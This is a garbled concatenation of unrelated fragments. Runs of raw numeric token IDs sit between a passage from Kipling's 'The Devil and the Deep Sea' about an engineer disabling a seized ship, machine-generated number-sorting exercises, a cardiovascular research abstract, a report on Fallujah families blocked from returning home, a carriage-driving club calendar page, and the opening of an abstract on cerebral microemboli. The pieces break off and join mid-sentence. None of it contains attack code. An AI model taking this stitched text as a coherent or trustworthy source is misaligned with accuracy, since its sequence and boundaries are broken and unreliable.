247, 23957, 275, 697, 20195, 17593, 13, 285, 253, 187, 2858, 1641, 273, 253, 40661, 734, 3850, 342, 1046, 1859, 326, 247, 557, 5858, 43693, 5130, 1537, 5730, 281, 1379, 15, 1244, 326, 253, 557, 5858, 43693, 187, 14785, 1537, 320, 34304, 36712, 562, 273, 697, 11874, 13, 253, 973, 14, 84, 3938, 40602, 273, 253, 40661, 497, 15312, 3790, 18093, 301, 1031, 342, 13155, 187, 1727, 273, 39553, 13, 4933, 247, 5421, 1055, 273, 954, 8312, 45583, 15, 10209, 13, 2305, 15, 18730, 1658, 2335, 598, 247, 4849, 432, 253, 187, 6438, 14, 15179, 13, 534, 13, 347, 368, 588, 4456, 13, 574, 417, 644, 5876, 275, 253, 2087, 24028, 15, 380, 16657, 8773, 14, 1208, 306, 344, 187, 22386, 1428, 342, 247, 892, 462, 3390, 14, 45423, 15, 733, 310, 2834, 275, 2080, 14, 2727, 17596, 281, 1705, 407, 824, 28367, 13, 5734, 13, 751, 2305, 15, 18730, 1658, 13, 187, 5658, 1978, 40430, 275, 4657, 15, 2058, 253, 1072, 673, 1821, 2335, 745, 253, 20392, 273, 767, 273, 253, 1270, 5877, 14, 3487, 40602, 326, 5752, 187, 936, 1978, 253, 14917, 275, 1659, 327, 616, 4891, 3722, 15, 743, 3948, 39843, 9833, 275, 4260, 14, 6672, 254, 778, 4354, 27964, 745, 253, 5825, 187, 1171, 247, 5877, 14, 3487, 22491, 13, 285, 436, 7343, 3261, 1077, 3626, 15, 187, 187, 12161, 272, 2112, 253, 16583, 13, 344, 5176, 2067, 13755, 8789, 14, 33338, 1641, 285, 428, 33507, 13, 11715, 643, 285, 9129, 7437, 273, 187, 2002, 762, 8938, 15, 330, 1190, 6228, 14, 33338, 1641, 344, 2624, 745, 281, 253, 1180, 273, 2800, 432, 253, 846, 14, 15179, 16657, 13, 594, 326, 352, 1537, 3761, 187, 953, 14646, 13, 285, 30040, 253, 10370, 463, 1905, 285, 3997, 14, 81, 10628, 342, 17649, 14, 4238, 442, 15, 2635, 344, 1160, 598, 247, 18176, 13204, 273, 253, 2710, 187, 8421, 285, 7637, 326, 344, 574, 13037, 432, 253, 14917, 1905, 1652, 1841, 751, 20392, 285, 11059, 14, 1033, 527, 868, 13, 512, 9257, 187, 85, 31263, 1905, 285, 14373, 342, 731, 762, 253, 5254, 273, 253, 3948, 14, 4461, 13, 835, 344, 21374, 13, 1146, 4688, 13, 347, 344, 4817, 432, 187, 1342, 13928, 281, 637, 13928, 273, 253, 4021, 5004, 13, 285, 275, 247, 9648, 6079, 35898, 18862, 29334, 731, 15, 6101, 16518, 13, 3782, 187, 249, 271, 5369, 6902, 314, 2245, 13, 556, 247, 987, 281, 1978, 521, 18345, 10111, 835, 344, 28467, 28, 285, 253, 3174, 273, 581, 273, 253, 16657, 187, 1200, 2324, 13230, 512, 13032, 715, 253, 3963, 4657, 14, 4461, 13, 1014, 604, 326, 574, 417, 644, 2168, 4581, 342, 10194, 8764, 2510, 15, 496, 187, 585, 3444, 13, 344, 33817, 253, 846, 14, 15179, 13, 10090, 28839, 285, 12873, 14, 16104, 13, 9257, 246, 31263, 13, 835, 352, 651, 320, 187, 2252, 44697, 281, 253, 15120, 23218, 13, 2335, 562, 1264, 273, 253, 4314, 3007, 1032, 273, 253, 19031, 14, 6172, 13, 29334, 731, 835, 760, 187, 248, 812, 1089, 731, 969, 13, 6898, 253, 22149, 398, 407, 1133, 13, 8764, 2400, 253, 20661, 11008, 273, 253, 10089, 14, 67, 3938, 398, 13, 285, 27001, 432, 521, 187, 13068, 2108, 15, 380, 3948, 14, 4461, 369, 247, 33091, 13, 285, 352, 858, 417, 878, 253, 9410, 273, 253, 15898, 14, 38722, 949, 253, 1629, 1190, 429, 281, 1056, 187, 262, 667, 7197, 15, 187, 187, 1328, 12470, 253, 21114, 3803, 281, 1007, 387, 253, 6312, 789, 15, 187, 187, 1628, 52, 1403, 9094, 2455, 824, 247, 46427, 2114, 24028, 347, 326, 7721, 753, 344, 13, 35731, 15, 773, 1147, 2761, 15872, 84, 479, 281, 564, 762, 1110, 187, 1200, 2324, 15, 3954, 13, 752, 277, 457, 368, 1158, 597, 457, 620, 513, 281, 441, 7721, 187, 187, 1628, 13689, 7357, 359, 923, 1806, 753, 253, 21114, 3803, 15, 773, 1147, 457 ]

three holds, of strictly preserved pearls; when you have cleaned out the Tanna Bank, the Sea-Horse Bank, and four other banks from one end to the other of the Amanala Sea — when you have ripped out the very heart of a rich Government monopoly so that five years will not repair your wrong-doings — you must smile and take what is in store. But the skipper reflected, as a launch put out from the man-of-war, that he had been bombarded on the high seas, with the British flag — several of them — picturesquely disposed above him, and tried to find comfort from the thought. “Where,” said the stolid naval lieutenant hoisting himself aboard, “where are those dam’ pearls?” They were there beyond evasion. No affidavit could do away with the fearful smell of decayed oysters, the diving-dresses, and the shell-littered hatches. They were there to the value of seventy thousand pounds, more or less; and every pound poached. The man-of-war was annoyed; for she had used up many tons of coal, she had strained her tubes, and, worse than all, her officers and crew had been hurried. Every one on the Haliotis was arrested and rearrested several times, as each officer came aboard; then they were told by what they esteemed to be the equivalent of a midshipman that they were to consider themselves prisoners, and finally were put under arrest. “It’s not the least good,” said the skipper, suavely. “You’d much better send us a tow —“ “Ruined from end to end,” said the man of machinery. “If she rolls, the forward cylinder will come down and go through her bottom. Both columns are clean cut through. There’s nothing to hold anything up.” The council of war clanked off to see if Mr. Wardrop’s words were true. He warned them that it was as much as a man’s life was worth to enter the engine-room, and they contented themselves with a distant inspection through the thinning steam. The Haliotis lifted to the long, easy swell, and the starboard supporting-column ground a trifle, as a man grits his teeth under the knife. The forward cylinder was depending on that unknown force men call the pertinacity of materials, which now and then balances that other heartbreaking power, the perversity of inanimate things. The man-of-war was short-handed, and did not see the necessity for putting a prize-crew aboard the Haliotis. So she sent one sublieutenant, whom the skipper kept very drunk, for he did not wish to make the tow too easy, and, moreover, he had an inconspicuous little rope hanging from the stem of his ship. Then they began to tow at an average speed of four knots an hour. The Haliotis was very hard to move, and the gunnery-lieutenant, who had fired the five-inch shell, had leisure to think upon consequences. Mr. Wardrop was the busy man. He borrowed all the crew to shore up the cylinders with spars and blocks from the bottom and sides of the ship. It was a day’s risky work; but anything was better than drowning at the end of a tow-rope; and if the forward cylinder had fallen,it would have made its way to the sea-bed, and taken the Haliotis after. “Where are we going to, and how long will they tow us?” he asked of the skipper. “God knows! and this prize-lieutenant’s drunk. What do you think you can do?” “There’s just the bare chance,” Mr. Wardrop whispered, though no one was within hearing —”there’s just the bare chance o’ repairin’ her, if a man knew how. They’ve twisted the very guts out of her, bringing her up with that jerk; but I’m saying that, with time and patience, there’s just the chance o’ making steam yet. We could do it.” The skipper’s eye brightened. “Do you mean,” he began, “that she is any good?” “Oh, no,” said Mr. Wardrop. “She’ll need three thousand pounds in repairs, at the lowest, if she’s to take the sea again, an’ that apart from any injury to her structure. She’s like a man fallen down five pair o’ stairs. We can’t tell for months what has happened; but we know she’ll never be good again without a new inside. Ye should see the condenser-tubes an’ the steam connections to the donkey, for two things only. I’m not afraid of them repairin’ her. I’m afraid of them stealin’ things.” “They’ve fired on us. They’ll have to explain that.” “Our reputation’s not good enough to ask for explanations. Let’s take what we have and be thankful. Ye would not have consuls remembern’ the Guidin’ Light, an’ the Shah-in-Shah, an’ the Aglaia, at this most alarmin’ crisis. We’ve been no better than pirates these ten years. Under Providence we’re no worse than thieves now. We’ve much to be thankful for — if we e’er get back to her.” “Make it your own way, then,” said the skipper. “If there’s the least chance —” “I’ll leave none,” said Mr. Wardrop —“none that they’ll dare to take. Keep her heavy on the tow, for we need time.” The skipper never interfered with the affairs of the engine-room, and Mr. Wardrop — an artist in his profession — turned to and composed a work terrible and forbidding. His background was the dark-grained sides of the engine-room; his material the metals of power and strength, helped out with spars, baulks, and ropes. The man-of-war towed sullenly and viciously. The Haliotis behind her hummed like a hive before swarming. With extra and totally unneeded spars her crew blocked up the space round the forward engine till it resembled a statue in its scaffolding, and the butts of the shores interfered with every view that a dispassionate eye might wish to take. And that the dispassionate mind might be swiftly shaken out of its calm, the well-sunk bolts of the shores were wrapped round untidily with loose ends of ropes, giving a studied effect of most dangerous insecurity. Next, Mr. Wardrop took up a collection from the after-engine, which, as you will remember, had not been affected in the general wreck. The cylinder escape-valve he abolished with a flogging-hammer. It is difficult in far-off ports to come by such valves, unless, like Mr. Wardrop, you keep duplicates in store. At the same time men took off the nuts of two of the great holding-down bolts that serve to keep the engines in place on their solid bed. An engine violently arrested in mid-career may easily jerk off the nut of a holding-down bolt, and this accident looked very natural. Passing along the tunnel, he removed several shaft coupling-bolts and -nuts, scattering other and ancient pieces of iron underfoot. Cylinder-bolts he cut off to the number of six from the after-engine cylinder, so that it might match its neighbour, and stuffed the bilge — and feed-pumps with cotton-waste. Then he made up a neat bundle of the various odds and ends that he had gathered from the engines — little things like nuts and valve-spindles, all carefully tallowed — and retired with them under the floor of the engine-room, where he sighed, being fat, as he passed from manhole to manhole of the double bottom, and in a fairly dry submarine compartment hid them. Any engineer, particularly in an unfriendly port, has a right to keep his spare stores where he chooses; and the foot of one of the cylinder shores blocked all entrance into the regular store-room, even if that had not been already closed with steel wedges. In conclusion, he disconnected the after-engine, laid piston and connecting-rod, carefully tallowed, where it would be most inconvenient to the casual visitor, took out three of the eight collars of the thrust-block, hid them where only he could find them again, filled the boilers by hand, wedged the sliding doors of the coal-bunkers, and rested from his labours. The engine-room was a cemetery, and it did not need the contents of the ash-lift through the skylight to make it any worse. He invited the skipper to look at the completed work. “Saw ye ever such a forsaken wreck as that?” said he, proudly. “It almost frights me to go under those shores. Now, what d’ you think they’ll do to us?” “Wait till we see,” said the skipper. “It’

[ 559, 35815, 15, 1281, 256, 320, 340, 9, 1012, 481, 17399, 898, 13, 470, 13, 495, 13, 256, 275, 11052, 1340, 15, 187, 84, 13, 898, 13, 495, 13, 470, 187, 1466, 1182, 426, 428, 18, 15, 23, 428, 470, 15, 26, 15, 1281, 340, 426, 428, 17, 15, 2904, 428, 428, 17, 15, 3680, 15, 1281, 1269, 426, 1182, 559, 340, 15, 9272, 1269, 13, 1668, 13, 608, 275, 3629, 1340, 15, 187, 89, 13, 608, 13, 1668, 187, 1466, 891, 9, 85, 10, 426, 246, 424, 19, 428, 5922, 11, 85, 428, 818, 11, 85, 559, 8319, 11, 85, 428, 6705, 15, 1281, 258, 320, 891, 1490, 1010, 481, 9272, 258, 13, 428, 18, 13, 470, 13, 2145, 275, 16317, 1340, 15, 187, 1012, 13, 470, 13, 428, 18, 13, 258, 187, 1466, 270, 426, 428, 1348, 1787, 559, 2164, 1610, 15, 17399, 428, 740, 13, 428, 20, 13, 270, 13, 428, 26, 275, 16317, 1340, 15, 187, 14, 20, 13, 270, 13, 428, 26, 13, 428, 740, 187, 1466, 1269, 320, 12374, 20694, 5789, 1976, 12193, 23, 16, 1010, 481, 1281, 259, 426, 428, 24, 559, 1269, 15, 17399, 259, 13, 470, 15, 1036, 13, 428, 18, 275, 11052, 1340, 15, 187, 88, 13, 470, 15, 1036, 13, 428, 18, 187, 4140, 428, 22, 11, 85, 559, 5329, 559, 2030, 426, 470, 15, 1281, 256, 320, 313, 25133, 16, 1812, 428, 884, 16986, 21, 1933, 23, 481, 1281, 298, 320, 428, 22, 559, 374, 559, 428, 19, 559, 608, 15, 17399, 246, 13, 256, 13, 298, 275, 11052, 1340, 15, 187, 85, 13, 298, 13, 256, 187, 1466, 258, 426, 2145, 15, 24, 428, 1722, 15, 24, 15, 1281, 288, 426, 428, 17, 15, 2904, 428, 470, 15, 2922, 15, 1281, 278, 426, 288, 428, 721, 15, 2227, 15, 17399, 258, 13, 428, 19, 13, 278, 275, 11052, 1340, 15, 187, 14, 19, 13, 258, 13, 278, 187, 1466, 465, 320, 313, 3680, 16, 25, 6959, 25, 428, 3383, 22, 428, 3383, 26, 1630, 1933, 3547, 5029, 17399, 209, 510, 3045, 273, 253, 13440, 985, 7024, 327, 253, 5016, 273, 697, 4295, 15, 844, 12661, 281, 7409, 253, 8789, 273, 253, 1669, 36848, 313, 17173, 10, 285, 18571, 2718, 275, 9680, 5074, 342, 15282, 22375, 265, 387, 1551, 13, 1309, 5763, 13, 285, 342, 23201, 19713, 3045, 15, 380, 1783, 273, 19713, 285, 18571, 3473, 313, 49, 4587, 21970, 313, 55, 10, 2493, 281, 320, 908, 275, 841, 2175, 310, 1754, 327, 2045, 7313, 275, 253, 7011, 19713, 37726, 272, 715, 247, 1566, 273, 253, 18571, 985, 15, 2053, 12342, 452, 417, 644, 6760, 275, 253, 17351, 273, 15282, 13, 9680, 5074, 285, 253, 2538, 273, 5763, 285, 16747, 1774, 2728, 4870, 452, 417, 644, 3786, 6949, 15, 380, 1563, 2173, 24316, 588, 320, 6760, 15, 25295, 4521, 261, 337, 27, 380, 9980, 4644, 313, 12944, 10, 285, 253, 19713, 990, 14, 84, 9207, 3422, 367, 313, 42143, 10, 403, 23352, 2905, 689, 253, 25258, 11220, 4623, 2491, 15, 380, 14679, 273, 436, 5886, 13, 28545, 13, 310, 253, 3576, 30595, 593, 273, 253, 18571, 985, 13, 285, 310, 8558, 3413, 762, 954, 5989, 407, 253, 2798, 2281, 285, 2264, 10844, 11172, 5052, 15, 25295, 4521, 261, 374, 27, 19713, 9980, 789, 310, 13493, 672, 990, 14, 84, 9207, 3422, 30595, 593, 273, 253, 19713, 313, 38, 1410, 10, 310, 4503, 281, 28545, 13, 1223, 8651, 6733, 313, 783, 4313, 273, 18571, 9980, 789, 281, 2264, 3473, 14, 21970, 2170, 13, 13710, 16, 10201, 34, 10, 310, 4869, 672, 444, 1410, 310, 3687, 685, 28545, 15, 25295, 4521, 261, 495, 27, 380, 2622, 13440, 985, 17209, 387, 1551, 342, 444, 1410, 5777, 3687, 685, 28545, 13, 10444, 875, 2792, 323, 4869, 13710, 285, 8651, 6733, 15, 25295, 4521, 261, 577, 27, 6408, 5763, 13, 253, 19713, 285, 18571, 985, 1159, 8003, 281, 253, 1127, 273, 4869, 8651, 6733, 342, 444, 1410, 2239, 28545, 28, 2074, 5459, 275, 2798, 2281, 4197, 407, 35500, 387, 1551, 906, 275, 749, 29776, 11038, 342, 444, 1410, 654, 28545, 13, 25295, 4521, 265, 608, 285, 721, 27, 2091, 19713, 1159, 310, 23201, 407, 5233, 35500, 5802, 2798, 4433, 390, 14215, 30796, 13, 253, 8789, 273, 253, 19713, 285, 18571, 985, 310, 417, 8654, 13, 347, 28545, 2239, 444, 1410, 13, 533, 476, 320, 4895, 2584, 8654, 407, 11052, 28545, 970, 16016, 42369, 2392, 15, 25295, 4521, 261, 337, 588, 320, 6760, 1097, 275, 271, 49238, 13, 1527, 14, 1962, 296, 9008, 275, 534, 9980, 4644, 476, 320, 10534, 6537, 407, 987, 2798, 18210, 275, 9680, 9097, 15, 380, 643, 24316, 588, 320, 6760, 407, 12392, 9680, 9097, 3786, 7935, 264, 281, 2557, 19713, 3473, 285, 4644, 15, 444, 1410, 588, 320, 3413, 347, 253, 14679, 273, 253, 19713, 990, 14, 29479, 3473, 14, 21970, 5886, 4197, 407, 11962, 19713, 367, 285, 657, 407, 15550, 9605, 267, 15715, 7797, 15, 28545, 588, 320, 3413, 347, 367, 1410, 16, 12944, 15, 2053, 2175, 588, 6186, 1774, 747, 1491, 327, 253, 8789, 273, 253, 19713, 285, 18571, 985, 273, 253, 9680, 5893, 342, 15282, 22375, 265, 387, 1551, 13, 1309, 5763, 13, 285, 1563, 9454, 273, 19713, 3045, 15, 2053, 2175, 778, 1421, 281, 8870, 12214, 281, 3157, 8670, 1159, 275, 1363, 342, 1846, 13440, 6578, 15, 53, 725, 267, 5201, 1065, 265, 3657, 253, 26699, 432, 1469, 896, 281, 16275, 48120, 187, 187, 21342, 13, 253, 33982, 753, 326, 5415, 3361, 273, 690, 273, 253, 5870, 275, 253, 29302, 19509, 1537, 1581, 253, 5320, 1346, 281, 6351, 1329, 432, 2758, 273, 1110, 5870, 285, 3021, 23690, 912, 616, 5827, 15672, 15, 187, 187, 19, 14, 25, 14, 7132, 187, 187, 510, 24923, 33982, 323, 8801, 12484, 4767, 326, 1781, 3904, 273, 5870, 326, 497, 26699, 1390, 807, 432, 253, 2846, 273, 16275, 48120, 403, 1024, 7591, 281, 1091, 281, 616, 3672, 273, 6510, 1955, 281, 253, 26903, 24598, 285, 25442, 5871, 326, 41763, 627, 5747, 253, 958, 326, 253, 2846, 369, 50204, 625, 685, 247, 807, 3622, 15, 187, 187, 21342, 13, 253, 33982, 753, 326, 5415, 3361, 273, 690, 273, 253, 5870, 275, 253, 29302, 19509, 1537, 1581, 253, 5320, 1346, 281, 6351, 1329, 432, 2758, 273, 1110, 5870, 285, 3021, 23690, 912, 616, 5827, 15672, 15, 187, 187, 688, 271, 4572, 342, 253, 24923, 33982, 323, 8801, 12484, 581, 273, 253, 26699, 665, 556, 644, 3811, 275, 253, 19509, 273, 3052, 343, 14059, 1240, 16275, 48120, 1580, 2552, 13, 4022, 753, 27, 773, 42, 717, 8927, 432, 14026, 2284, 2170, 13, 533, 1024, 309, 3153, 275, 3052, 343, 14059, 1240, 16275, 48120, 8647, 15, 309, 5730, 281, 564, 896, 281, 619, 2622, 1495, 342, 619, 2021, 285, 619, 2628, 533, 309, 476, 457, 85, 6598, 187, 187, 1328, 671, 753, 27, 773, 8430, 309, 6312, 512, 273, 253, 3988, 7259, 387, 253, 2208, 13, 309, 717, 1335, 417, 4136, 281, 564, 896, 281, 619, 2846, 327, 247, 26903, 3720, 984, 619, 4929, 310, 247, 3558, 273, 25484, 6598, 187, 187, 510, 33982, 753, 326, 984, 253, 2758, 273, 690, 5870, 497, 2330, 342, 2758, 273, 25484, 13, 8307, 273, 643, 5870, 497, 417, 4136, 281, 1091, 281, 616, 3672, 273, 6510, 285, 6726, 281, 3464, 275, 253, 29302, 19509, 3185, 15, 187, 187, 8195, 29302, 753, 27, 773, 2422, 743, 2009, 14176, 366, 2424, 690, 5870, 326, 5730, 281, 1091, 281, 253, 14176, 366, 281, 11165, 326, 597, 403, 642, 3356, 27312, 342, 2758, 273, 25484, 342, 5207, 597, 452, 48729, 1456, 7688, 15, 831, 16204, 1364, 320, 6808, 347, 247, 3542, 31760, 2057, 387, 253, 3906, 273, 253, 2170, 457, 84, 14967, 390, 407, 271, 6834, 285, 863, 7250, 387, 253, 1302, 6598, 187, 187, 510, 33982, 4767, 326, 436, 3542, 16204, 273, 557, 628, 310, 417, 2217, 281, 4017, 253, 952, 1580, 253, 1895, 310, 875, 253, 23206, 417, 342, 253, 2208, 15, 1244, 984, 627, 403, 690, 23206, 534, 858, 417, 29534, 281, 253, 557, 628, 31760, 534, 310, 9262, 407, 17772, 273, 25484, 457, 84, 2758, 13, 616, 1495, 4558, 31281, 15, 187, 187, 34, 6619, 12954, 665, 12941, 253, 19509, 273, 3052, 343, 14059, 1240, 16275, 48120, 14949, 753, 326, 247, 1781, 1180, 273, 5870, 13, 1475, 2456, 6, 273, 253, 5870, 326, 3153, 275, 3052, 343, 14059, 1240, 16275, 48120, 13, 403, 642, 3356, 2104, 281, 1091, 281, 616, 3672, 273, 6510, 3738, 597, 497, 3786, 50204, 15, 187, 187, 1145, 3565, 387, 253, 19509, 273, 3052, 343, 14059, 1240, 16275, 48120, 2183, 253, 33982, 326, 275, 253, 2986, 534, 344, 26091, 627, 403, 2456, 5870, 562, 273, 21732, 665, 2550, 1091, 281, 616, 3672, 273, 6510, 984, 616, 16018, 432, 253, 2846, 369, 13444, 816, 1897, 1078, 253, 35297, 13, 534, 690, 23206, 2783, 347, 247, 861, 273, 841, 5870, 457, 44436, 281, 25484, 15, 187, 187, 1328, 2879, 27, 773, 510, 13719, 5870, 326, 497, 417, 4136, 281, 1091, 452, 2168, 25146, 512, 273, 253, 3988, 15981, 6095, 13, 533, 2758, 273, 253, 1980, 3513, 275, 1219, 743, 2009, 14176, 366, 9284, 281, 1339, 731, 1091, 285, 2783, 616, 13444, 3297, 275, 253, 2846, 846, 253, 35297, 347, 247, 861, 273, 616, 44436, 281, 25484, 15, 187, 187, 2374, 253, 643, 1133, 13, 247, 29302, 432, 16275, 48120, 3286, 665, 310, 4390, 3811, 275, 253, 19509, 273, 3052, 343, 14059, 1240, 16275, 48120, 753, 773, 1145, 24954, 12027, 875, 479, 285, 619, 13189, 7369, 275, 1142, 3237, 824, 347, 672, 597, 15676, 619, 2419, 285, 13699, 281, 2983, 479, 285, 619, 15196, 285, 19367, 407, 3192, 5750, 273, 616, 9061, 285, 1612, 347, 2758, 273, 253, 3988, 5621, 15, 187, 187, 1328, 2879, 27, 773, 3726, 313, 2577, 13189, 10, 10145, 619, 3347, 273, 1146, 247, 3558, 273, 25484, 28, 2299, 13, 253, 14006, 8058, 521, 28667, 15, 380, 1072, 2181, 4592, 342, 619, 15833, 342, 2074, 4278, 28, 597, 574, 247, 12027, 689, 247, 3894, 275, 271, 14195, 15, 380, 5870, 326, 403, 13699, 390, 10145, 273, 15823, 281, 25484, 253, 954, 403, 1110, 534, 1669, 253, 2846, 1643, 1897, 1078, 253, 6452, 273, 253, 35297, 5871, 6598, 187, 187, 510, 24923, 33982, 323, 8801, 12484, 11532, 326, 352, 310, 3309, 281, 7767, 253, 1569, 275, 253, 50204, 3672, 285, 3657, 667, 25442, 6993, 2190, 253, 23206, 285, 7206, 70, 731, 281, 4514, 281, 253, 4803, 15, 380, 23206, 1364, 2096, 326, 253, 20566, 9061, 275, 253, 24923, 1375, 403, 253, 4394, 534, 3653, 665, 310, 247, 17150, 285, 665, 310, 417, 15, 187, 187, 510, 33982, 4767, 326, 253, 12340, 273, 25442, 6993, 285, 7217, 275, 253, 50204, 3672, 369, 3264, 13, 533, 752, 369, 417, 3264, 310, 253, 24923, 2208, 457, 84, 19297, 281, 3831, 1110, 24598, 285, 7767, 253, 1569, 15, 510, 3729, 6112, 411, 1456, 28310, 33421, 310, 1527, 281, 512, 21614, 6276, 2905, 3394, 15, 3729, 6112, 411, 1456, 7012, 285, 17386, 5453, 3394, 403, 638, 20188, 342, 1401, 6369, 56, 15, 5446, 52, 3394, 403, 1527, 281, 512, 10865, 28, 5446, 52, 14199, 310, 14659, 15, 187, 187, 6369, 56, 3936, 642, 8294, 323, 253, 7200, 273, 1491, 275, 436, 16485, 15, 733, 310, 5125, 368, 1067, 253, 3057, 1180, 273, 253, 2362, 368, 5730, 281, 8041, 281, 6583, 1491, 15, 329, 11453, 24388, 326, 4737, 273, 1655, 4016, 260, 19613, 968, 310, 2424, 281, 8041, 667, 2362, 275, 6112, 15, 187, 187, 32841, 281, 923, 752, 21614, 6276, 310, 512, 670, 32, 13516, 20848, 387, 581, 273, 776, 3394, 285, 1089, 562, 2, 187, 187, 37443, 187, 187, 2302, 3394, 4390, 275, 253, 16832, 2, 187, 187, 6989, 2402, 27, 187, 187, 22147, 27, 187, 187, 20356, 10882, 27, 187, 187, 2042, 368, 513, 417, 871, 634, 16164, 22440, 285, 9868, 187, 4065, 721, 3507, 14, 41081, 14, 2358, 4196, 390, 4579, 253, 20530, 1456, 21240, 323, 1361, 15, 5804, 34879, 26954, 2494, 16697, 10424, 10808, 9699, 15151, 275, 1363, 342, 48199, 2798, 28367, 32, 187, 4045, 26005, 24223, 3756, 476, 320, 908, 281, 2736, 253, 3361, 273, 4443, 10424, 275, 253, 16562, 18571, 17351, 15, 19096, 10424, 476, 320, 4197, 407, 1027, 4973, 285, 476, 320, 273, 1027, 3753, 27, 4891, 3603, 347, 13344, 4193, 13, 21039, 29111, 390, 15389, 409, 255, 528, 2144, 13, 390, 42626, 672, 597, 403, 4197, 1309, 253, 30572 ]

+ 343. Let s be y(13). Sort 9, 0, 3, s in decreasing order. s, 9, 3, 0 Let z = -1.6 - 0.9. Let y = -0.08 - -0.58. Let x = z + y. Put x, 16, 5 in increasing order. x, 5, 16 Let i(t) = t**2 - 33*t - 7*t + 51*t - 64. Let o be i(-15). Put o, -1, 0, 13 in descending order. 13, 0, -1, o Let b = -2437 + 2433. Sort -10, -3, b, -9 in descending order. -3, b, -9, -10 Let x be ((-228)/(-75))/(6/15). Let w = -7 + x. Sort w, 0.16, -1 in decreasing order. w, 0.16, -1 Suppose -5*t + 45 + 25 = 0. Let s be (456/36 - 10)/((-4)/6). Let l be -5 + 2 + -2 + 5. Sort t, s, l in decreasing order. t, l, s Let o = 13.7 - 17.7. Let h = -0.08 - 0.07. Let m = h - 6.85. Sort o, -2, m in decreasing order. -2, o, m Let k be (58/8)/(8 - (-5 - (-927)/72)). Sort The performance of the cardiovascular system depends on the interaction of its components. We propose to investigate the coupling of the left ventricle (LV) and arterial systems in conscious animals with intact reflexes at rest, during exercise, and with depressed LV performance. The analysis of LV and arterial pressure (P)-volume (V) relations to be used in these studies is based on previous observations in the isolated LV ejecting into a model of the arterial system. These concepts have not been evaluated in the circulation of intact, conscious animals and the effects of exercise and clinically important disease processes have not been previously investigated. The following specific hypotheses will be evaluated. Hypothesis 1: The stroke volume (SV) and the LV end-systolic P (PES) are linearly related over the physiologically relevant range. The slope of this relation, EA, is the effective elastance of the arterial system, and is primarily determined under most circumstances by the heart rate and total peripheral vascular resistance. Hypothesis 2: LV stroke work is maximal when end-systolic elastance of the LV (EES) is equal to EA, while mechanical efficiency (the ratio of arterial stroke work to total pressure-volume area, SW/PVA) is maximum when EES is greater than EA. Hypothesis 3: The normal cardiovascular system operates at rest with EES slightly greater than EA, intermediate between points for maximum SW and mechanical efficiency. Hypothesis 4: During exercise, the LV and arterial system function closer to the point of maximum mechanical efficiency with EES > EA; similar increases in heart rate produced by pacing at rest result in suboptimal matching with EES < EA, Hypotheses 5 and 6: When LV function is depressed by rapid pacing induced heart failure or coronary occlusion, the coupling of the LV and arterial system is not optimal, as EA > EES, but can be returned toward optimal by decreasing EA using vasodilators. Hypothesis 1 will be evaluated both in an anesthetized, open-chest preparation in which stroke volume can be precisely controlled by right heart bypass in conscious dogs. The other hypotheses will be evaluated by studying conscious dogs previously instrumented to measure LV pressure and volume. EES will be determined as the slope of the LV end- systolic pressure-volume relation produced by varying LV P and V by transient caval occlusions. EA will be determined as PES/SV. These studies will supply important new information on the coupling of the LV and arterial system of the conscious animal with intact reflexes at rest, during exercise, and following depression of LV performance. These studies may lead to rational interventions to improve pump function in patients with common cardiovascular diseases.Tribal Disputes prevent the displaced from going back to Fallujah Moreover, the Observatory said that continuous presence of some of the families in the refugee camps might allow the extremists to gain support from members of those families and thus rearrange their plans accordingly. 2-8-2017 The Iraqi Observatory for Human Rights stated that large numbers of families that were displaced last year from the city of Fallujah are now unable to return to their areas of origin due to the tribal disputes and revenge operations that erupted there despite the fact that the city was liberated more than a year ago. Moreover, the Observatory said that continuous presence of some of the families in the refugee camps might allow the extremists to gain support from members of those families and thus rearrange their plans accordingly. In an interview with the Iraqi Observatory for Human Rights one of the displaced who has been living in the camps of Amiriyah Fallujah since May, 2016 said: “I am originally from Hasai area, but now I live in Amiriyah Fallujah Camp. I wish to go back to my normal life with my family and my job but I can’t”. He also said: “Although I completed all of the security procedures at the government, I am still not allowed to go back to my city on a tribal basis because my brother is a member of ISIS”. The Observatory said that because the members of some families were associated with members of ISIS, hundreds of other families were not allowed to return to their areas of origin and forced to remain in the refugee camps instead. Another refugee said: “Al Anbar governorate required some families that wish to return to the governorate to declare that they are no longer affiliated with members of ISIS with whom they have kinship relationships. This declaration must be issued as a written pledge either at the office of the area’s mayor or by an attorney and attested at the court”. The Observatory stated that this written declaration of disown is not enough to protect the people since the problem is between the tribes not with the government. And because there are some tribes which did not adhere to the disown pledge which is submitted by relatives of ISIS’s members, their life remains endangered. A relief worker who visits the camps of Amiriyah Fallujah continuously said that a large number of families, around 50% of the families that live in Amiriyah Fallujah, are no longer able to return to their areas of origin although they were previously liberated. An official at the camps of Amiriyah Fallujah told the Observatory that in the camp which he manages there are 50 families out of 190 who cannot return to their areas of origin because their departure from the city was delayed just days before the liberation, which some tribes considered as a sign of these families’ allegiance to ISIS. He added: “The fifty families that were not allowed to return have already fulfilled all of the security inspection requirements, but members of the local police in Al Anbar governorate refused to let them return and considered their delayed stay in the city after the liberation as a sign of their allegiance to ISIS. On the other hand, a refugee from Fallujah district who is currently living in the camps of Amiriyah Fallujah said “An inheritance dispute between me and my brothers resulted in many problems such as when they burned my house and threatened to attack me and my sons and daughters by taking advantage of their authorities and power as members of the security forces. He added: “They (my brothers) accused my son of being a member of ISIS; however, the investigations proved his innocence. The same thing happened with my neighbors with similar details; they had a dispute over a share in an oven. The families that are threatened or accused of belonging to ISIS the most are those which left the city few days before the conclusion of the liberation operations”. The Iraqi Observatory for Human Rights believes that it is necessary to enforce the law in the liberated areas and prevent any revenge acts among the tribes and oblige them to commit to the rules. The tribes must understand that the competent authorities in the Iraqi state are the ones which determine who is a terrorist and who is not. The Observatory stated that the occurrence of revenge acts and violence in the liberated areas was expected, but what was not expected is the Iraqi government’s inability to contain those disputes and enforce the law.The North Texas Whip Events Calendar is open to all carriage driving related events. North Texas Whip approved and hosted club events are prefixed with **NTW. ADS events are open to all drivers; ADS membership is encouraged. NTW takes no responsibility for the accuracy of information in this listing. It is suggested you call the contact number of the event you wish to attend to confirm information. A friendly reminder that proof of current negative coggins is required to attend any event in Texas. Want to see what carriage driving is all about? Come volunteer at one of our events and find out! Calendar No events currently in the calendar! UserName: Password: Security Image: If you do not know your login username and password call 682-561-6896 or email the Membership Chairman for help.Can cerebrovascular microemboli induce cognitive impairment in patients with prosthetic heart valves? Doppler ultrasonography can be used to detect the presence of emboli in the cerebral arterial circulation. Emboli can be produced by different sources and can be of different nature: solid elements as thrombi, platelet aggregates or atheromatous material, or gaseous when they are produced during the decomp

